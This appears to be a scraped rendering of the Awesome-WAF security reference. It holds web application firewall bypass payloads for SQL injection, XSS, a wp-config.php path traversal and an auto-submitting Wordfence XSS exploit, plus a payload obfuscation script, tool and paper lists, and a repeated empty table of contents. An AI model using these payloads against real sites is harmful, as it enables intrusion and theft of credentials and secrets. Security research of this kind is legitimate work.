<img src=x onwheel=prompt(1)>

SQLi by @WAFNinja

text

0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)

XSS Bypass by @Aatif Khan (v4.1)

text

<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

SQLi Bypass by @ZeQ3uL

text

10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

Wordfence

XSS Bypass by @brute Logic

text

<a href=javas&#99;ript:alert(1)>
<a href=&#01javascript:alert(1)>

XSS Bypass by @0xInfection

text

<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At&colon;/**/alert()/**/>click

HTML Injection by @Voxel

text

http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

XSS Exploit by @MustLive (>= v3.3.5)

text

<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email" 
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>

Other XSS Bypasses

text

<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

Apache Generic

Writing method type in lowercase by @i_bo0om

text

get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

IIS Generic

Tabs before method by @i_bo0om

text

GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Awesome Tools

Fingerprinting:

WAFW00F - The ultimate WAF fingerprinting tool with the largest fingerprint database from @EnableSecurity.
IdentYwaf - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by @stamparm.

Testing:

GoTestWAF - A tool to test a WAF's detection logic and bypasses from @wallarm.
Lightbulb Framework - A WAF testing suite written in Python.
WAFBench - A WAF performance testing suite by Microsoft.
WAF Testing Framework - A WAF testing tool by Imperva.
Framework for Testing WAFs (FTW) - A framework by the OWASP CRS team that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
WAFtester - A WAF security testing CLI that fingerprints 197+ WAF vendors, benchmarks rule coverage with quantitative scoring (F1/MCC), and automates bypass discovery with 70+ evasion techniques. Supports SARIF, SonarQube, and GitLab SAST output for CI/CD integration.

Evasion:

WAFNinja - A smart tool which fuzzes and can suggest bypasses for a given WAF by @khalilbijjou.
WAFTester - Another tool which can obfuscate payloads to bypass WAFs by @Raz0r.
libinjection-fuzzer - A fuzzer intended for finding libinjection bypasses but can be probably used universally.
bypass-firewalls-by-DNS-history - A tool which searches for old DNS records for finding actual site behind the WAF.
abuse-ssl-bypass-waf - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
SQLMap Tamper Scripts - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
Bypass WAF BurpSuite Plugin - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
enumXFF - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
WAF Bypass Tool - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads.
nowafpls - Burp Plugin to Bypass WAFs through the insertion of Junk Data.
impersonate-proxy - A local MITM proxy that spoofs TLS (JA3/JA4), HTTP/2, and header fingerprints per connection to test WAF bot-detection, with a Chrome extension for live profile switching, by @ytkoka.

Management:

AWS Firewall Factory - Deploy, update, and stage your WAFs while managing them centrally via FMS.

Blogs and Writeups

Many of the content mentioned above have been taken from some of the following excellent writeups.

Video Presentations

Presentations & Research Papers

Research Papers:

Protocol Level WAF Evasion - A protocol level WAF evasion techniques and analysis by Qualys.
Neural Network based WAF for SQLi - A paper about building a neural network based WAF for detecting SQLi attacks.
Bypassing Web Application Firewalls with HTTP Parameter Pollution - A research paper from Exploit DB about effectively bypassing WAFs via HTTP Parameter Pollution.
Poking A Hole in the Firewall - A paper by Rafay Baloch about modern firewall analysis.
Modern WAF Fingerprinting and XSS Filter Bypass - A paper by Rafay Baloch about WAF fingerprinting and bypassing XSS filters.
WAF Evasion Testing - A WAF evasion testing guide from SANS.
Side Channel Attacks for Fingerprinting WAF Filter Rules - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
WASC WAF Evaluation Criteria - A guide for WAF Evaluation from Web Application Security Consortium.
WAF Evaluation and Analysis - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from University of Amsterdam.
Bypassing all WAF XSS Filters - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
Beyond SQLi - Obfuscate and Bypass WAFs - A research paper from Exploit Database about obfuscating SQL injection queries to effectively bypass WAFs.
Bypassing WAF XSS Detection Mechanisms - A research paper about bypassing XSS detection mechanisms in WAFs.

Presentations:

Methods to Bypass a Web Application Firewall - A presentation from PT Security about bypassing WAF filters and evasion.
Web Application Firewall Bypassing (How to Defeat the Blue Team) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by @OWASP.
WAF Profiling & Evasion Techniques - A WAF testing and evasion guide from OWASP.
Protocol Level WAF Evasion Techniques - A presentation at about efficiently evading WAFs at protocol level from BlackHat US 12.
Analysing Attacking Detection Logic Mechanisms - A presentation about WAF logic applied to detecting attacks from BlackHat US 16.
WAF Bypasses and PHP Exploits - A presentation about evading WAFs and developing related PHP exploits.
Side Channel Attacks for Fingerprinting WAF Filter Rules - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from UseNix Woot'12.
Our Favorite XSS Filters/IDS and how to Attack Them - A presentation about how to evade XSS filters set by WAF rules from BlackHat USA 09.
Playing Around with WAFs - A small presentation about WAF profiling and playing around with them from Defcon 16.
A Forgotten HTTP Invisibility Cloak - A presentation about techniques that can be used to bypass common WAFs from BSides Manchester.
Building Your Own WAF as a Service and Forgetting about False Positives - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency Auscert2019.

Credits & License:

Initial fingerprint compilation and bypasses were put together by Pinaki (0xInfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the Apache 2.0 License.

Overview (`others/README.md`)

[`obfu.py`](https://github.com/0xinfection/awesome-waf/blob/master/others/obfu.py)

A small script to encode and obfuscate your payloads easily to your desired encodings.

Usage:

text

$ python obfu.py -h

        OBFUSCATOR

usage: python3 obfu.py [-h] [-s STR] [-e ENC] [-ueo] [-udi]

Required Arguments:
  -s STR, --str STR  String to obfuscate
  -e ENC, --enc ENC  Encoding type. eg: ibm037, utf16, etc

Optional Arguments:
  -ueo               URL Encode Output
  -udi               URL Decode Input

Example Usage:

text

$ python3 obfu.py -s 'param=<svg/onload=prompt()//' -e ibm037 -ueo

text

OBFUSCATOR

Input: param=<svg/onload=prompt()//
Output: %97%81%99%81%94~L%A2%A5%87a%96%95%93%96%81%84~%97%99%96%94%97%A3M%5Daa

Sidenote:

This script can encode in all types of formats which are supported by the Python Engine.

--- METRICS ---

Files Extracted: 2
Estimated Token Budget: ~37352 tokens
Canonical Reference: https://codewiki.google/github.com/0xInfection/Awesome-WAF

Technical Documentation: 0xInfection/Awesome-WAF

Overview (`README.md`) Copy Section

Awesome WAF [](https://github.com/0xinfection/awesome-waf)

Contents: Copy Section

Introduction: Copy Chapter

How WAFs Work: Copy Section

Operation Modes: Copy Section

Testing Methodology: Copy Chapter

Where To Look: Copy Section

Detection Techniques: Copy Section

WAF Fingerprints Copy Chapter

Evasion Techniques Copy Chapter

Fuzzing/Bruteforcing: Copy Section

Method:

Technique:

Drawbacks:

Regex Reversing: Copy Section

Method:

Techniques:

Blacklisting Detection/Bypass Copy Section

• Step 1:

• Step 2:

• Step 3:

• Step 4:

• Step 5:

• Step 6:

• Step 7:

• Step 8:

• Step 9:

Obfuscation: Copy Section

Method:

Techniques:

Unicode Separators:

Using Atypical Equivalent Syntactic Structures Copy Section

Abusing SSL/TLS Ciphers: Copy Section

Technique:

Abuse WAF limit on HTTP Responses Copy Section

Method

Technique

Abusing DNS History: Copy Section

Using Whitelist Strings: Copy Section

Method:

Technique:

Request Header Spoofing: Copy Section

Method:

Technique:

Google Dorks Approach: Copy Section

Method:

Techniques:

Known Bypasses: Copy Chapter

Airlock Ergon Copy Section

AWS WAF Copy Section

Barracuda Copy Section

Cerber (WordPress) Copy Section

Citrix NetScaler Copy Section

Cloudflare Copy Section

Cloudbric Copy Section

Comodo Copy Section

DotDefender Copy Section

Fortinet Fortiweb Copy Section

F5 ASM Copy Section

F5 BIG-IP Copy Section

F5 FirePass Copy Section

ModSecurity Copy Section

Imperva Copy Section

Kona SiteDefender Copy Section

Profense Copy Section

QuickDefense Copy Section

Sucuri Copy Section

StackPath Copy Section

URLScan Copy Section

WebARX Copy Section

WebKnight Copy Section

Wordfence Copy Section

Apache Generic Copy Section

IIS Generic Copy Section

Awesome Tools Copy Chapter

Fingerprinting: Copy Section

Testing: Copy Section

Evasion: Copy Section

Overview (`README.md`)

Contents:

Introduction:

How WAFs Work:

Operation Modes:

Testing Methodology:

Where To Look:

Detection Techniques:

WAF Fingerprints

Evasion Techniques

Fuzzing/Bruteforcing:

Regex Reversing:

Blacklisting Detection/Bypass

Obfuscation:

Using Atypical Equivalent Syntactic Structures

Abusing SSL/TLS Ciphers:

Abuse WAF limit on HTTP Responses

Abusing DNS History:

Using Whitelist Strings:

Request Header Spoofing:

Google Dorks Approach:

Known Bypasses:

Airlock Ergon

AWS WAF

Barracuda

Cerber (WordPress)

Citrix NetScaler

Cloudflare

Cloudbric

Comodo

DotDefender

Fortinet Fortiweb

F5 ASM

F5 BIG-IP

F5 FirePass

ModSecurity

Imperva

Kona SiteDefender

Profense

QuickDefense

Sucuri

StackPath

URLScan

WebARX

WebKnight

Wordfence

Apache Generic

IIS Generic

Awesome Tools

Fingerprinting:

Testing:

Evasion:

Management:

Blogs and Writeups

Video Presentations

Presentations & Research Papers

Research Papers:

Presentations:

Credits & License:

Overview (`others/README.md`)

[`obfu.py`](https://github.com/0xinfection/awesome-waf/blob/master/others/obfu.py)

Usage:

Example Usage:

Sidenote: